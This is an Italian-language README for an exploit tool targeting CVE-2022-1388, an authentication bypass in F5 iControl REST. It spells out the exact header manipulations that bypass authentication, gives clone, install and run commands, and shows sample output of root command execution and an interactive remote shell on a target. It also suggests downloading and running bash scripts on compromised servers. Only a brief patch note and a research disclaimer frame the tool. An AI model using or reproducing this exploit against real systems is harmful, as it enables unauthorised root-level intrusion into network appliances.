
POC migliorato per CVE-2022-1388 che colpisce molti prodotti F5.
POC migliorato per CVE-2022-1388 che colpisce diversi prodotti F5.
Questa è una versione migliorata del Proof of Concept di Horizon3 per CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
Inoltre, è un rifacimento completo con refactoring del lavoro di PsychoSec di https://github.com/PsychoSec2/CVE-2022-1388-POC
LOL questo tizio ha menzionato nella sezione Requirements un punto come brains e ha un +40% di codice duplicato e assolutamente non scalabile.
Il blocco della sessione è stato anche eliminato perché non vedo molto senso qui.
Questa versione contiene molteplici miglioramenti oltre a una shell interattiva per eseguire comandi remoti.
L'analisi tecnica della causa principale della vulnerabilità di Horizon3 è disponibile sul loro blog: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Condizioni necessarie di una richiesta per sfruttare questa vulnerabilità:
Connection header must include X-F5-Auth-Token
X-F5-Auth-Token header must be present
Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host
Auth header must be set with the admin username and any password
git
pip3
python3
git clone https://github.com/iveresk/cve-2022-1388-iveresk-command-shell.git
cd cve-2022-1388-iveresk-command-shell
pip3 install -r requirements.txt
python3 cve-2022-1388-1veresk.py -h
Test su un Target:
python3 cve-2022-1388-1veresk.py.py -u -t https://192.168.0.221
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Usa l'opzione -s per avviare una shell interattiva. Shell Interattiva:
python3 cve-2022-1388-1veresk.py -u -s https://192.168.0.221
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
Non richiede l'uso di alcuna connessione TCP inversa o listener.
Use 'exit' command to exit the shell...
Si prega di notare che durante l'esecuzione della shell interattiva su un sistema non patchato, alcuni comandi e sintassi potrebbero non funzionare o dare un risultato inaspettato. Ciò è probabilmente dovuto all'uso di JSON nelle richieste e risposte API del server. Per evitare problemi, cerca di non usare caratteri comuni nella sintassi JSON come doppi apici, due punti, virgole, parentesi graffe e parentesi quadre quando usi la shell interattiva. Qualsiasi sintassi JSON deve essere in formato strutturato.
L'uso di qualsiasi tipo di sintassi JSON non strutturata all'interno di un comando potrebbe portare a una richiesta API malformata al server e potrebbe lasciarti con: nessun output del comando, nulla eseguito, o potrebbe farti uscire completamente dallo script Python. Questo purtroppo rende alcuni comandi inutilizzabili. Per aggirare questo problema, puoi invece scrivere uno script bash, scaricarlo sul server ed eseguirlo usando la shell interattiva. Inoltre non è possibile cambiare directory usando il comando 'cd'.
In ogni caso dovresti comunque essere in grado di ottenere output di comando di base. Se non ottieni output, non significa che il comando non sia stato eseguito. Tuttavia, dovresti stabilirlo con la tua analisi.
Aggiornare all'ultima versione o mitigare seguendo le istruzioni nel bollettino di sicurezza F5
Questo software è stato creato puramente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è inteso per essere utilizzato per attaccare sistemi se non esplicitamente autorizzato. I maintainer del progetto non sono responsabili per l'uso improprio del software. Usalo responsabilmente.
Sei libero di contattarmi tramite Keybase per qualsiasi dettaglio.